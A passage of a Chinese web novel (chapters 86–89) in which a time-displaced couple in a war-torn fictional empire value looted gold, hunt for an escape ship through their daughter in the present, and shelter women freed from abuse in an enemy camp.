袁淼听完后说:“要不要我买些水泥石灰等建筑材料?” 谢云溪愣住了,想了想进城时看到的民众修复城墙的场景。人拉手推。与现代的机械化作业有很大区别。 无疑,后者的效率更高,但机械化作业,那就得用上机械…… “等你爸回来了,我问问他。” 说曹操曹操就到了。谢云溪听到了袁博文回来的动静。 “你爸应该回来了!” 她对镜子里的袁淼说了一声后,便去迎接了。 帮着袁博文更衣的时候,谢云溪告诉袁博文:“淼淼等着你呢。” 袁博文立刻喜形于色,收拾妥当后,夫妻两人在镜子跟前坐了下来。 袁淼看到袁博文也很高兴:“爸爸瘦了。” 谢云溪转头看了看。发现袁博文不仅瘦了,胡渣也长了些出来。样子跟以前大不一样。 大概是在战场上经历的多了,周身有股凛然气势,且显得冷冽狠厉,不经意间一个眼神就令人胆寒。 想到这几个月的经历,以及最近的几场硬战。谢云溪暗暗叹了口气。世道在变,他们也都在变。 她看着袁博文,笑着说:“是瘦了些。” “是吗?”袁博文摸了摸自己脸,笑了下,“这几天吃没吃好,睡没睡好,不瘦就奇怪了。现在你妈来了,我就放心了。” 袁淼笑了起来,也觉得母亲在父亲身边,父亲会好过许多。 “爸爸,我刚才听妈妈说郴州城被炸得乱七八糟,连城墙都塌了不少!” 袁博文笑起来。战场上的事情没法跟妻女细说。战争一旦打起来,很多事情都顾不上。 他若是不给郴州来一波炮/弹洗地,晋州全部的兵都堆上了,即便是用上qiang,也不一定能拿下郴州。 “打战嘛,这些事情难以避免。” 袁淼不懂战争,但想让父母生活得更好。 “要不要我买些水泥石灰等建筑材料?这些都不贵。” 袁博文想了想:“算了。” 一度他也曾想过,让女儿买些现代化建筑材料传过来,赶紧把郴州城墙修好。但张时文行动力让他刮目相看。只半天就把郴州城墙受损的情况摸清楚了,下午跟他知会了一声,要了些钱,就在城里大肆招人,开始修复事宜。 这才过去不到两天,就修复了不少地方。 他相信张时文一定会按时完成任务。 至于城内其他地方受损情况,这些不急。等这场打完了再说。打赢了,那就修路修房子,没打赢,那就要跑路了。 想到跑路的工具。袁博文有点紧张了。 刚才妻子说,他要的东西不好买。 “我听你妈……船不好买?怎么回事?” 袁淼的脸垮了下来:“爸,你知道购买一艘能承载一千五百人的游轮,需要多少钱吗?” “多少钱?上十亿?” “六十六亿!” 袁博文大吃一惊:“这么贵吗?” 六十多亿!他手上全部的财富加起来有没有零头? 袁淼点头:“而且不是马上就有。这种大型船只,一般要先预订。支付了定金之后,船厂才开始制造,得好几年才能拿到。” 袁博文傻眼了,他以为只要有钱,船不是问题,现在看来,他太天真了。 “那……二手的,能买到吗?” “我正在打听。” 袁博文整个人都不好了。他什么都想到了,就没想到船会不好购买。 “你问过王所长了吗?” 袁淼点头:“问过了。国内目前的船厂没有这种类型船只制造销售。不过,王所长说,他会帮我留意。” 袁博文有些难受了。 袁淼想到了宋颜:“宋颜也在帮我打听。” 谢云溪看出来了袁博文的不好,安慰说:“你别灰心,这么多人都在帮我们打听,应该很快就有消息了。” “再说了,咱们又不是马上要走。北凉人还没有来呢。” 袁博文打起了精神,“你说的对。” 都没有开始打,就光想着跑路了,这要不得。 以前靠着晋州城墙,他们都能跟北凉人耗几个月,现在进了郴州城里,即便北凉大举进攻,应该也能撑些时间。实在打不过了,再说。买不到大船,那就买小船,多买几艘!还不是一样能走? “淼淼,大型船只不好买,你打听打听小一些,有没有卖?” 袁淼答应了。 跟女儿说完话,袁博文还在想船的事情。谢云溪说:“别想了,车到山前必有路。你先跟我说一说城南那边到底什么情况?有多少人?” “六十八个。听说最开始有两三个营帐,一百多个人,后来死了不少。” 谢云溪心里堵得难受,又问几个问题,袁博文也不知道,他就头天一晚上去过一趟,后来再没去过。找到宋老太太后,就把那边的事托给了她。 宋老太太毕竟年纪大了,能做的有限,就帮着给那些女孩儿张罗些吃喝。 谢云溪叹了口气。 袁博文转过身:“你还没告诉我,怎么把景钰她们带过来了?” 谢云溪把发生关府的事情告诉了袁博文:“那种情况下,你说我能不答应吗?” 袁博文点了点头,他也没料到关正的死会闹的那么大,以为把郴州拿下来之后,晋州民众有了新的指望,不至于乱起来。 却没想到有人会推波助澜,同时把他捧得那么高。 这就有点不好办了。 一旦被人知道,他拿下郴州的目的,是为了跑路! 以后,他都不敢在这片土地上露面了。 袁博文摸了摸自己的头,想了一会,看到谢云溪还在收捡。 “你别忙了,早些休息!今天坐了那么长时间的车,明天又要去城南,别累到了!” 谢云溪知道自己今非昔比,答应后洗漱歇下了。 袁博文睡不着。干脆起身,叫上了谷雨,来到一个落了锁的院子门口。 开了锁后,他让谷雨守在门口,自己拿了烛火进去。 屋子里堆放了许多箱子。这些都是江虎这几天清点排查郴州情况收缴的东西,大部分都来自几位身处高位的北凉守将的府邸…… 第87章 第87章 熟人 晋州守军进城后, 就驻扎在城西,那里临山靠海,以前就是郴州守军的驻扎地。军备粮草也都放在那里。 但江虎说那地方乱糟糟, 这些收缴的物资放在那里不合适, 主动提出拉到府衙来。袁博文以前就知道这家伙很上道, 顺理成章同意了。 这几天他一直很忙, 虽然知道收缴的东西就在后院,但没有时间看。 今天进来, 这才发现东西不少。一间百来平方的房间里,已经没多少空地了,堆放着三四十个大小不等箱子。 袁博文放下了烛台,打开了一个箱子。 里面满是珍珠玛瑙玉石等, 鸽蛋大小的珍珠串成的项链足有十余条,同样大小的散珠也有不少。 玉石制品更多, 手镯项链玉簪等等琳琅满目,大多数都到了玻璃种级别,冰种的都极其少见。 这些价值不菲,在现代更是天价。也不知道北凉人是在哪里搜刮的, 现在便宜他了。 袁博文的心情好了一些。 又开了一箱,里面是堆放整齐的银子,足有上万两。 不过,袁博文知道,银子在现代不值钱, 一克也就能兑六七元, 这一整箱银子看着喜人,其实也就值三四百万的样子。 还不如第一箱中的一串珍珠项链值钱。 他看了一眼满箱的银子后,合上了。 打开第三箱时, 袁博文的眼睛不由得眯了一下。黄灿灿一片,正是满满一箱金子,刺得他眼睛都睁不开了。 这是好东西。 他听袁淼说过,现在的金价涨势惊人。她第一次兑时,每克能兑四百多元,现在已经涨到了五百多元。 袁博文拿起一块金子,掂了掂,约有五百克左右的样子。若是足金,这么一块能兑到二三十万。 他又看了看箱子的大小,数了数最上面一层的金子有多少块,很快就算出了这箱金子的价值。 如果是足金,那这一箱就是两亿多! 不过,这些金子上面并没有刻字。这很少见。 跟女儿联系上后,袁博文接触过各种各样的金子,金元宝金块上面都有刻字,标注了金子的份量和出品的银楼,一些金首饰上也会在不起眼的地方标注出自哪位大家之手。 其中,祥和银楼最为常见。祥和银楼是大顺最著名的银楼。 袁博文想不明白为什么,放下金子后,又开了第四箱,竟然也是金子!大小和重量与第一箱的一样,上面也没有刻字。 开出第三箱金子时,袁博文觉得有点不对劲了。但是他对这些并不了解。只得暂时把疑问按下来。 从房子里出来,袁博文的心情好了很多。他估计房子里的那些东西,价值至少上十亿。 六十多亿的大船,勤俭节约攒一攒,也不是不能买。 第二天一早,谢云溪醒来后,发现袁博文已经离开了。 她叫了念荟进来:“宋婆婆和小豆芽起来了吗?” “起来了,已经来过了一趟,要给夫人请安,夫人还没睡醒,我打发她们自个去忙了。” “你们怎么不叫醒我?” 念荟抿着嘴笑,没有说话。 谢云溪知道这不能怪别人,月份大了后,她嗜睡,也容易疲劳。身边的人生怕她累到了,平日里看得很严。 “去看看,她们还在不在?若是还在,请她们过来一趟。” 念荟应下后出去,没一会儿便领着一位背脊弯曲的老婆婆和一个瘦骨嶙峋的小丫头进来了。 谢云溪愣了愣后,才认出来人是宋时晏的母亲宋老夫人和他的小女儿宋玉如,一时间心情百味杂生。 一年前的宋老太太可不是这个样子。那时候的她虽然年过半百,头发发白,却精神很好,言行谈吐雍容优雅。 现在看起来老了不止十岁,头发全白了,皱纹满面,背脊几乎弯得要贴到了地上。 她手上牵着的小姑娘又黑又瘦,一双黑溜溜的眼睛里满是戒备和小心。五官模子倒是与一年前变化不大。 宋老夫人见到谢云溪就要下跪。 谢云溪身子不便,连忙让念荟把人扶起来,请她坐下。 宋老夫人推辞不掉,便落了半个屁/股,一张皱纹横生的脸上笑得小心翼翼。 “一年没见了,夫人越发长得好了。” 谢云溪知道自己胖了不少,摸了摸肚子,笑着说:“是胖了不少。” 宋老夫人看到了谢云溪的腰身:“哎呦,夫人有喜了?几个月了?” “六个月了!” 宋老夫人啧啧说:“真好啊!” 谢云溪看出她是由衷替自己高兴,心里暖烘烘。 这里的妇女讲究贤良淑德,她和袁博文来这里后没孩子,许多人为这个操碎了心,还有人建议她给袁博文抬房小妾,等孩子生下后,把小妾打发就是了。 她觉得好笑,但也知道她们是为了自己好。 “老夫人在这里还住得惯吗?” 宋老夫人连声说好,“……比我们在麻雀巷那边不知道好了多少倍!” “小豆芽呢?喜不喜欢这里?” 小女孩看了看宋老夫人,点了点头。 谢云溪笑着说:“宋家在枫叶巷那边的宅子,袁大人已经要回来了,你们想住想卖都可以,若是要住,我让人过去修整一番就可以了。” 宋老夫人的眼圈瞬间湿了,谢过谢云溪后说:“我年纪大了,她又太小。那边的宅子,还是卖了吧。夫人若是不嫌弃,能不能赏我们祖孙一碗饭吃?清洗打扫洗衣做饭,我都能做!” 触及宋老夫人巴巴的眼神,谢云溪心里不是滋味。 不过,她赞成宋老夫人的决定,枫叶巷那边的宅子,虽然现在他们替宋家祖孙要了回来,但是他们走后,那宅子还是会被人盯上的。 想了想,谢云溪说:“我这儿确实要人帮忙,您不说,我也是要提的。您看我身边这几个,年纪都不大,平时做事也算得心应手,但她们对孕产不熟,您是过来人,能不能帮我看着点?” 宋老夫人愣了愣,连忙要下跪。谢云溪赶紧让念荟把人扶起来。 宋老夫人抹着眼泪说:“我知道夫人和袁大人是在帮我,我这把老骨头了,走哪儿都被嫌弃,更别说做事了……夫人放心,我定会尽心尽力!” 宋老夫人的话虽然说得颠三倒四,但她心里明镜似的。谢云溪让她做的这个事分明就是把人供养起来。 照顾孕产,以他们夫妇如今的地位,什么样的人找不到?还轮得到她这老婆子吗? 谢云溪见宋老夫人答应了,心里也轻松了一大截。她想帮一帮这对祖孙,但也有些担心她们没有分寸。这样就很好,老太太知恩,她不介意再养一老一小。 “老夫人在城南那边待了一天,那边什么情况,您清楚吗?” 宋老夫人叹了口气:“那边我只去了一日,就帮着张罗了两次饭。那些丫头们都挤在一座营帐里,身上的衣裳都没有几件完整的,她们胆子小,看到有人进来,就怕得挤到一堆了,我瞧着有几个好像病了……” 谢云溪听完,心里堵得难受。 “多谢老夫人,一会儿我要去那边看看,您能跟我一起去吗?” “夫人不要折杀我了,您若是不嫌弃,就跟他们一样唤我声婆婆吧。城南那边,我原本就打算去的。” “好,我们一起过去。” 跟宋婆婆说完话后,谢云溪又让念荟把关景钰等人叫了过来。一众人出了府衙,来到了城南原北凉人的驻扎地。 看到满地的狼藉和许多还没有来得及清理血渍,关景钰等人噤若寒蝉。 守在这里的霍小北看到了谢云溪等人,连忙过来行礼。 谢云溪知道他是袁博文的学生,郴州沦陷的时候,是他带着谷雨一路杀出来,赶回晋州通风报信,使得晋州提前准备了起来。 “霍副将辛苦了!” 霍小北恭敬回道:“这是末将份内的事!” 他已经被知会过了,知道谢云溪要来处理营帐里的那些女人。当下便领着她们过去。 谷雨悄悄挪到霍小北旁边,小声叫:“霍大哥!” 霍小北看到是他,笑了笑,摸了摸谷雨的头。又走几步,手往前方一指:“夫人,就在那边。” 谢云溪顺着霍小北所指看到了几座残破的营帐,其中一座营帐门口有两名士兵看守着。 她走过去,还没近到跟前,就闻到了一股臭味。 跟在谢云溪后面的孙舒兰不由得掩了掩口鼻,但看到身边的人都没有动时,她又赶紧放下了手,小心翼翼看了看谢云溪。 谢云溪掀开了营帐,一股臭味扑鼻而来。 里面一阵骚乱,原本四下散开的女人如惊弓之鸟挤成了一团。 跟着进来关景钰等人惊呆了。 眼前的营帐里面乱糟糟的,臭气熏天,挤成一堆的女人虽然衣衫褴褛,形容憔悴,但仍然能看出年龄与她们相仿,面容姣好,有个别更是堪称绝色。 但此刻的她们却像是受到了莫大惊吓一样,瑟瑟发抖,目光闪躲,不敢看人。身上的衣裳七零八落,有的甚至整条大腿都露在了外面,上面伤痕累累。 营帐里面极其简陋,就铺了一层干草。边沿的角落有个水坑,不知道是漏雨还是其他,气味冲天。 谢云溪一阵恶心,转身出去,狠狠吸了几口新鲜空气。 霍小北跟了过来,低声说:“夫人,昨日夜里末将失职,让她们逃了一个出去。不过,末将已经让人去追查了。” 谢云溪点了点头,正要说话,看到关景钰等人陆续出来了。 小姑娘们个个面色苍白,面露惊恐,像是见了鬼。胆小的孙舒兰更是在细细发抖。 谢云溪暗叹了口气,她看到刚才营帐中场景,都觉得残酷,更别说这几个养尊处优惯了的千金小姐们了。她们肯定被吓到了。 “请霍副将帮我叫一辆车过来吧。” 霍小北想了想:“夫人是要卡车,还是面包车?” 他跟黎大山是同一批的新兵,听他讲过神器营的几种车型。 “卡车吧!” 六十多人,一辆车装不下。 霍小北去忙了。 谢云溪又对谷雨说:“你去买七十件粗布夹衣和十匹粗布过来,让布庄伙计把布裁剪成约莫六七寸的样子,夹衣的尺寸就按照……念荟的身量来。” 谷雨点头:“好,我马上去买!” 念荟叫住了他,回头对谢云溪说:“夫人,我跟他一起去吧!” 谢云溪同意了。转身又对宋婆婆说:“老夫人,您在枫叶巷的宅子确定要卖吗?” 宋婆婆点头,“是要卖。” “那能卖给我吗?”谢云溪又问。 宋婆婆愣了下,“这怎么使得……” 谢云溪不等宋婆婆说完,便打断了她:“老夫人千万别说送!您知道我是不会我收的。咱们按照房市的行情来,可以吗?” 宋婆婆一脸为难。 郴州沦陷后,北凉屠城,她的老伴儿子和小孙子当天就没了,小孙女躲在米缸里,侥幸逃过一劫。儿媳去找大孙子,人没有找到,反而自己遭了秧,回来后就投了河。 原本的一大家子就这么散了。没过多久她们住的宅子就被人盯上了。为了活命,她不得不搬出来。 原以为再也回不去了。不曾想儿子的好友竟然这般本领,不仅赶跑了北凉人,还帮她们要回了宅子。现在还让她进府里做事。 这是莫大的恩情。没有袁博文夫妇,那宅子压根到不了她们手上。 现在,袁夫人又要买…… “您放心,只要您愿意,您可以一直在袁府住下去。” 谢云溪并没有提及府衙,因为她也不确定他们会在郴州府衙住多久。 但跟着袁府,那就是他们去哪儿,只有宋婆婆同意,她都会带上她。 “这,这……”宋婆婆还在犹豫。 谢云溪又说:“实不相瞒,我想买下老夫人的宅子,是为了营帐里的那些人。天寒地冻,她们住在营帐里,熬不了多少天了。” 宋婆婆想到了投河的儿媳,心里一阵酸痛。叹了口气,点头了。 “多谢老夫人。明天我就让谷雨去打听枫叶巷那边的行情。” 敲定好房子的事情后,谢云溪又问:“老夫人昨日在哪儿替她们张罗吃喝的?” 宋婆婆指着另一座营帐说:“就在那里面。” 谢云溪过去看了看,锅碗瓢盆都在,还有半袋粟米。不过,没有看到菜。 她顿了顿。现在去买菜并不合适。 她抬起头,对关景钰等人说:“你们都进过厨房吧?” 关景钰等人纷纷点头。 “那就好,这里一应炊具都有,你们帮宋婆婆做些吃食吧。” 关景钰闻声站了出来,挽起袖子就开始收拾,张二小姐晚了片刻。孙舒兰见她们动了,连忙跟上。其他三位小姐相互看了一眼后,也动了。 谢云溪站了一会,她看出来了,关景钰等人虽然进过厨房,但很少动手。不过,在她的默默注视下,小姐们很认真。 宋婆婆也在忙,时不时回头看看。 谢云溪出去了,宋婆婆连忙拿过关景钰手中柴火:“我来!我来!” 关景钰没有松手:“婆婆,你教我点火吧!” “这怎么使得?这里又脏又乱,别脏了您的衣裳!” 关景钰甜甜笑着:“我喜欢干活,婆婆你教我吧?” 宋婆婆叹了口气,教关景钰点了火,又教她怎样添柴。 不一会儿,营帐里面就飘出粟米粥的清香。 谢云溪回头看了一眼。宋婆婆从营帐里面出来,关景钰等人跟在她的后面,手中抱着碗碟和钵子等。 关景钰捧着钵子跟在宋婆婆身后进了营帐里,心里依旧忐忑不安。 堆在角落里的女人们看到她们进来,先是慌张,很快就被关景钰手中的钵子吸引了,目不转睛盯着,咽口水的声音此起彼伏响起。 宋婆婆让关景钰放下钵子,她乘了一碗粥递给关景钰,示意她递给那些女人。 关景钰拿着碗筷,心惊胆战靠近,递给其中一个女人。那女人一把抢过,狼吞虎咽吃起来。 连送了几碗后,关景钰的胆子也大了起来,仔细打量这些女人,心里越发难受。 这些人的年纪跟她差不多,虽然脸上身上都沾了灰,但还是能看出肌肤细腻,眉目如画,手指葱白,应该也是没做过粗活,出身良好。 可是,现在她们却变成了这样。 若当初晋州也沦陷了…… 关景钰打了个寒噤。 又接过一碗粟米粥后,关景钰来到角落的一个女人跟前,把碗递了过去。 那女人却不像其他人那样一把抢过,而是背着身子,蜷缩坐着,一动不动。 关景钰心里奇怪:“你怎么不吃?”她问,又往前递了递。那女人突然回过身,一把抢走关景钰手中的碗,狼吞虎咽吃了起来。 关景钰愣愣看着,好一会后,迟疑问道:“你……是婉姐姐吗?” 第88章 第88章 矿产 喝粥的女人噎了一下, 咽下去后,整张脸都埋到碗里了。 关景钰看着她,眼泪不知不觉流了下来。 一同送粥的张二小姐见关景钰一直盯着一个女人, 她心中奇怪, 轻轻扯了扯关景钰, 目光询问:你怎么了? 关景钰回过神来, 轻轻吸了下鼻子,摇头示意自己没事。站起身后, 忍不住回头又看了一眼。 蹲在角落里的女人已经背过了身去,凌乱的头发上沾着干草,身上的衣裳已经脏得不成样子,但依旧能看出来料子是极其昂贵云锦。 衣领的滚边已经脱线, 像是被人暴力拉扯过,漏出了一小节颈脖, 白生生的肌肤上赫然有道黑紫伤痕。 关景钰鼻子一酸,差点又落泪了。 营帐外面传来车响。关景钰连忙擦了擦眼角,打起了精神。 谢云溪看到司机是游八斤,招呼他把车开到营帐门口来。眼下寒冬腊月, 营帐里面的人身上的衣裳都没几件完整的,出来之后,若没有庇护,会冻得够呛。她们当中的一些人原本快到了油尽灯枯的时候,禁不起冷冽的风寒了。 念荟和谷雨也回来了, 身后跟着一个挑着担子的布庄伙计。 七十件粗布夹衣和十匹粗布, 并不是小数。 谢云溪看了看夹衣和粗布的质量。手感微硬,夹衣的夹层里面大概是芦花,摸在手上并不柔软, 远不如自己身上的棉衣暖和,但也能挡些风寒。 “看看她们吃完了没有?” 念荟应下后进到营帐中。 里面还在分粥,不过,已经到了尾声。 关景钰蹲在一个靠着营帐的女人跟前,回头喊道:“念荟姐姐,你快来看看!” 念荟赶紧过去了,摸了摸那女人的脉搏,又看了看她的眼睛:“还有救!车上有担架,你们快去拿!” “好!”关景钰连忙跑了出去,看到谢云溪就在车旁边,“谢姨,里面有人病了,念荟姐姐让我来拿担架。” 谢云溪指着车里说:“就在里面!” 关景钰上车拿了担架,跑回营帐的时候,看到谢云溪已经在里面了。不知道她是怎么做到的,原本奄奄一息的女人睁开了眼睛,虚弱看了一圈,又闭上了。 谢云溪招呼贺天凤和念荟:“快把她抬到车上!” 女人被扶上了担架上后,谢云溪拿了一块粗布裹在了女人的身上。 女人被抬走了,营帐里的其他女人们挤在另一半,喝了一碗粟米粥后,她们的脸上有了些光泽,但目光依旧胆怯警惕。 谢云溪对关景钰说:“你们把这些夹衣和粗布分给她们,一人一份,让她们穿好夹衣披着粗布上车。” 关景钰等人忙开了。 一会后,穿着夹衣披着粗布的女人们陆续出来,要上车时,女人们却惊慌极了,你推我挤,都不敢上前。 她们没有见过卡车,对这个庞然大物畏惧极了。 司机游八斤等得不耐烦了,喊了一嗓子:“赶紧上车!” 女人们吓得瑟瑟发抖,有一个壮胆上去后,其他人才敢动。 车发动了。 谢云溪回头看了一眼,对霍小北说:“把这里的东西都烧掉吧。” 免得引起疾病传播。 霍小北应了一声,去忙了。 谢云溪正要招呼众人一起去枫叶巷,发现关景钰在抹眼泪,她心里奇怪。这丫头虽然是锦衣玉食长大,但是能吃苦,也肯学,怎么突然掉泪了? 不过,她并没有马上过去询问,依旧招呼众人出发。 到了枫叶巷。卡车已经先一步到了。周围的邻居被卡车吸引,许多人都出来了,对着卡车指指点点。 宋婆婆开了门,谢云溪进去看了看。 偌大院子里一片萧条,门窗都关着。一年前的热闹温馨好像是一场梦,一点儿痕迹都没了。 宋家的这座二进宅院,院子不小,房间也多,几个人一间,应该能容得下车上的那些女人。 “让她们都下车吧!郎中来了没有?” “来了!” 谷雨引着一位背着药箱的郎中过来了。 游八斤打开车门,招呼车里的女人下车。 好一会后才有个女人哆哆嗦嗦探出了头来。 念荟连忙过去伸手:“下来吧!别怕!” 女人下车时,腿脚都在打颤。 周围的人指指点点,小声议论着,目光由好奇变成了鄙视。 女人垂下头,恨不得将自己裹成一团。 车上的女人们陆续下来了,好些个腿脚都在打颤,周围的景致是她们熟悉的,但是周围的人让她们害怕。 被带进了房间里后,她们被挨个叫过去诊治。 谢云溪在旁边,她月份大了,这次没有动手,也是因为自己熟悉的不在妇幼这一科。 一直忙到了下午,郎中才停手。他摇了摇头。 谢云溪知道情况不会好,但是听郎中说完,她心里还是很难受。 六十八人,每个人身上都有伤,妇科毛病几乎人人都有,严重的撕/裂累及到膀/胱,甚至有个别出现了溃/烂坏死。 最难办的是,有两个人还怀了孕。 谷雨拿了方子去抓药了。 谢云溪轻轻叹了口气。她得让女儿传点药过来。中医对扶正祛邪疗效显著,但对感染的治疗不如西医起效快。 回头看到关景钰还在抹眼泪,谢云溪把她叫过来,柔声询问:“你怎么了?” 关景钰哽咽说:“谢姨,刚才那个眼角有伤的……她还好吗?” 谢云溪想了想,关景钰问的这个她有印象。年纪不大,约莫十五六岁的样子,长得很漂亮,身上的衣裳虽然又脏又破,但却是价格昂贵的云锦。 “她伤得有点重,身上有多处鞭伤和划伤,伤口已经有感染了……下身的撕/裂很严重!可能还有骨折。” 谢云溪的话刚说完,关景钰就哭出了声。 陪着她的张二小姐也红了眼圈。 谢云溪看着关景钰问:“你认识她?” 关景钰点头:“她是郴州同知叶府的二小姐叶淑婉,我们……素来要好。” 郴州同知,那就是正五品高官,与关正同级别。 郴州和晋州离的并不远,官家的夫人小姐们平日里自然有来往,关景钰与叶淑婉是手帕之交。 郴州同知大人府上的小姐都沦落成北凉人的玩物了,这些天来其他人的遭遇可想而知了。 “你跟她说话了吗?” 关景钰摇了摇头,她知道郴州情况复杂,没有得到谢云溪同意,她不敢跟叶淑婉过多接触。 谢云溪看出来了:“没事!你想认就认,跟她说说话也好。” “不会出事吗?” 谢云溪笑了:“不会,去吧。” 关景钰这才展颜,去找叶淑婉相认说话了。 谢云溪对宋老夫人说:“老夫人,这里还要麻烦您照料几天。” 宋婆婆笑着说:“夫人客气了,我闲着也是闲着,有个事儿做,挺好!” 谷雨抓了药来,张二小姐主动提出帮忙煎药 ,孙舒兰等人也一起去了厨房。 谢云溪对念荟说:“你明天拿二十两银子给宋婆婆,让她买些米粮菜,光喝粥不行。” 念荟应下了。 谢云溪又坐了一会,等药煎好了,给那些女人服下后,她才离开。 袁博文回来时,天已经黑了。 “我刚才过来的时候,听见芷兰院有人在哭?怎么回事?” 谢云溪告诉他:“是景钰。” “她今天见到自己的小姐妹了……你知道郴州以前的同知叶大人吗?” “叶怀仁?我听关正提过几次,他们关系不错。你说的这个,景钰的小姐妹,不会是叶府的小姐吧?景钰在哪儿见到的?叶大人……没事吧?” 话到最后,袁博文都不相信了。 “你觉得呢?” 袁博文笑着摇了摇头,叹了口气。 这位叶大人,关正虽然只提过几次,但是物以类聚,人以群分。他觉得这位叶大人应该是有些风骨的人。 这样的人,不大可能活到现在。 “那位叶小姐就在北凉人虏过来的那群女人当中!她家里的人……应该都不在了。” 袁博文愣了愣。 谢云溪叹了口气,“她吃了不少苦头,身上到处都是伤,以后可能……不太容易有孩子了。” 袁博文沉默下来。 自古打战,受罪的是老百姓,这里面妇女儿童最苦。 “这次景钰她们受到了冲击不小。那些人里面不止有郴州同知府的小姐,还有岳西知州大人的侄女,城东金镶玉银楼的小姐等,这些人跟她们年纪差不多,有个别甚至还打过交道。看到她们变成这样,景钰她们心里都不好受。” “这些还是活下来的人,死了的更多。” “关景钰的另一个小姐妹,守御所岳千总家的小姐岳蔺就是在反抗侵害时在被北凉人一刀割了脖子。” 刚开始虏过来的女人三个营帐都装不下,死了的人就拉到了不远处的沟里,没几天,那条沟就被填满了。 袁博文听完,久久不语。 “叶小姐的身体情况还算好的,有一个……”谢云溪摇了摇头。“下身严重撕/裂伴溃/烂感染,我也不知道,她能不能挺过来。” “让淼淼买点药过来,也不行吗?” “我说不好,试一试吧。”泡¥沫¥独¥家 她熟悉的不是妇科这一块。 “还有两个怀孕了!” 袁博文愣住了。 “那你打算怎么办?” 谢云溪叹了口气:“我还没有跟她们说,她们的身体情况并不好,要不要?还得她们自己拿主意。” 袁博文点了点头。 “那你想过,以后怎么安置她们吗?我不建议送回去。” “霍小北跟你说过,他接手之后跑了一个……这件事吗?” “说过,怎么了?” “今天下午死了。” 谢云溪吃了一惊。 袁博文脸色有些不好,“她家里人说,是自己吊上去的,但霍小北看过后觉得是被勒死后,再放到梁上的。” 谢云溪气得呼吸都不顺畅。好不容易活下来,好不容易回家,却被自己的亲人勒死! 她们遭受的一切,是她们想要的吗? “这些人真该死!”谢云溪不由得咬牙咒骂。 袁博文轻轻抚了扶谢云溪背,“这种事情不稀奇。”他把自己听来的事情讲给了谢云溪听。 谢云溪叹了口气:“还是我们生活的时代好。” 话说完,她又沉默了。 人生的前三四十年,她确实生活在美好的时代,但现在并不是。 幸好,女儿没有跟着过来。 “我打算等她们的病治好之后,开一家织坊。翻过年,我想种点棉花。棉花比蚕茧织布要容易,不管是织布,还是做成棉衣棉被,都很好。比这里现在的布和保暖的冬衣要强多少。” 袁博文点了点头。他早就有买地种棉花种水稻的想法了,奈何时局不好。 不过,即便是离开这里,只要能买到地,就可以种棉花。 不管机械织布,还是手工织布,这些都要人手。那些女孩们学会了织布,不管是否跟着他们走,有了一技之长,她们以后的日子都会好过许多。 “你今天跟淼淼联系了吗?” “还没有呢。” 袁博文摸了摸脸,坐到镜子跟前来,谢云溪也过来了。 镜子里面很快出现了袁淼的身影。 袁博文立刻露出笑容:“淼淼,上次传给你的金子,你兑了吗?” 袁淼点头:“兑了,在大福源兑的,兑了四千二百万。” 才找宋记兑过银子,袁淼没好意思再找宋颜,前天打通大福源魔都总店经理唐伟明的电话,把手中的金子兑掉了。 “现在的金价是多少?” “512元每克。” 谢云溪不禁感叹:“又涨了!” 袁博文心里高兴:“淼淼,你跟王所长提过兑换金子的事情吗?” “提过了。” “那你有没有问,他们收不收金子?如果收,是什么价?” 袁淼摇头:“这些我没有问。” 她觉得上面如果要收金子,那肯定量不少,小打小闹的,人家那个层面,应该瞧不上。 谢云溪的想法跟袁淼一样:“这个……就我们能提供的那点量,人家不一定瞧得上吧?” 袁博文摆了摆手,问谢云溪:“府衙后面还有几个院子,你看过了吗?” “没有。”谢云溪回答。 她昨天才过来,今天在外面呆了一天,府衙里面什么情况,都还没有来得及摸清楚。 “假山后面有一个院子,我上了锁。里面放着清点排查郴州时收缴的物资,昨天晚上,我过去看了。有不少金子!” 谢云溪和袁淼的眼睛都亮了。 郴州可比晋州大多了,这一番清点排查下来,肯定收获不小。 “其中,有三箱金块,上面什么字都没有!” 谢云溪皱了皱眉。 她见过的金元宝和金块上面都有字,一些金首饰金器皿也有刻字。 “难道是假的?” 袁博文笑着摆了摆手,“这里造假的水平没有那么高,金子是真的。之所以上面没有刻字,那是因为还没来得及!” “那批金子就来自城南的何家矿产!” “何家矿产?”谢云溪觉得有点熟悉。 “何记粮行!想起来了没有?” 谢云溪一下子想起来。 他们刚来晋州时,晋州最大的粮行就是何记粮行!这家粮行还伙同郴州主薄谢宝通倒卖军粮,好死不死,拉到晋州来卖,被袁归发现了。 关正写信给郴州总兵夏仲渊,把这件事情告诉了他。结果夏仲渊反而把关正骂了一顿,说他扰乱军心,把关正气得够呛。 关正原本想拿何记粮行出出气,却晚了一步。何记粮行关门走人了。 原来是他们回到了郴州。 谢云溪疑惑问道:“江虎把何家……给抄了?” 袁博文笑着说:“江虎没那个胆!他虽然精明,但一向小心谨慎。咱们后院那些东西都是他从北凉几个守将府邸抄到的。” “北凉人进城之后,那何家为了活下去,讨好北凉人,把他们在郴州的矿山送给了北凉人!” 谢云溪和袁淼都明白了。 “我今天过去看了看,那矿山不小!听他们那儿的老师傅说,虽然已经开采了两三年,但是,目前开采出来的还不到整座矿山的三分之一!” 袁淼听出意思了:“爸爸,你是想把这座矿山据为己有?” 袁博文笑了:“怎么能叫做据为己有呢?那座矿山原本就是何家送给了北凉人的。现在北凉人跑了,我们接手了郴州,那座矿山理所应当就归了我们!” 谢云溪和袁淼都笑了。虽然她们对何家不了解,但是不妨碍她们对何家一点好印象都没有。 “何家会同意吗?”谢云溪笑着问。 袁博文凉凉说:“他们不同意也行。身为大顺子民,与敌国北凉沆瀣一气,倒卖军粮,理当问罪!” “郴州的大牢里环境里不好,死个把人,再正常不过了。” 第89章 第89章 起疑 袁淼以前就听谢云溪说过倒卖军粮的事情, 对何记粮行一点好感都没有,现在听袁博文这么说,她觉得解气。 像何家这样的, 根本不配好好活着。 她悄悄给袁博文竖了根大拇指。 袁博文笑了。 谢云溪说:“我觉得何家没那容易对付, 还是小心点好。” 都能把手伸到军需粮草上了, 何家的关系网肯定够硬。北凉人打进来后, 按说这样的要倒霉了,结果郴州的人都快死了一半, 他家还活的好好的。由此可见,何家有多么会经营。 袁博文淡淡笑了声:“我明天就把那矿山给围了!我倒要看看,他何家到底有什么能耐?” 谢云溪不说话了,她对何家也极其厌恶。她知道袁博文的打算, 郴州目前还没有跟外面联系上,现在这里是袁博文他们说了算。 如果, 他们打算继续留在大顺,那自然会有所顾忌。但是他们现在都打算情况不好开溜了,什么何家李家的,即便是通天了, 也没什么好怕了。 何家要闹,刚好一起算账,给许多枉死的大顺军民出一口气。 